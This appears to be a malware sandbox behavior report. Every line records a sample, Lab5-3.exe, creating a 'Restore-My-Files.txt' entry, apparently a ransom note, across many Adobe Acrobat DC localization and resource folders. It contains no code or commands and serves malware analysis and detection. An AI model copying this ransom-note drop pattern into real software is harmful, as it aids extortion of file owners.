Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
